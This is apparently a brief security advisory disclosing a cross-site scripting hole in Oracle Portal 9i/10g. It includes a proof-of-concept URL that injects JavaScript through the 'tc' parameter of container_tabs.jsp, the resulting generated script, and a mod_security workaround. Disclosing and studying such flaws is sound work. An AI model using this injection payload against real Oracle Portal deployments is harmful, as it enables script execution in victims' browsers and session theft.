Oracle Applications/Portal 9i/10g Cross Site Scripting

["putosoft softputo" <hasecorp () hotmail com>]

Description
---------------
There are plenty (hundreds) of Cross Site Scripting vulnerabilities in the 
Oracle Portal. The following is one that you may found in any version:

http://<target>/webapp/jsp/container_tabs.jsp?tc=null%20=%20null;alert('Hello!');window.open('http://www.oracle.com/?fix_security_bugs_now',%20'null&apos;);//

The following code will be generated:

---SNIPPED---
<script language=javascript>
top.null = 
null;alert('Hello!');window.open('http://www.oracle.com/?fix_security_bugs_now&apos;, 
'null');//.render(window);
</script>
---SNIPPED---

Solution
------------

There is no solution. As a workaround, enable mod_security if it's not. 
Otherwise wait 6 months/1 year for a patch from Oracle Corp.
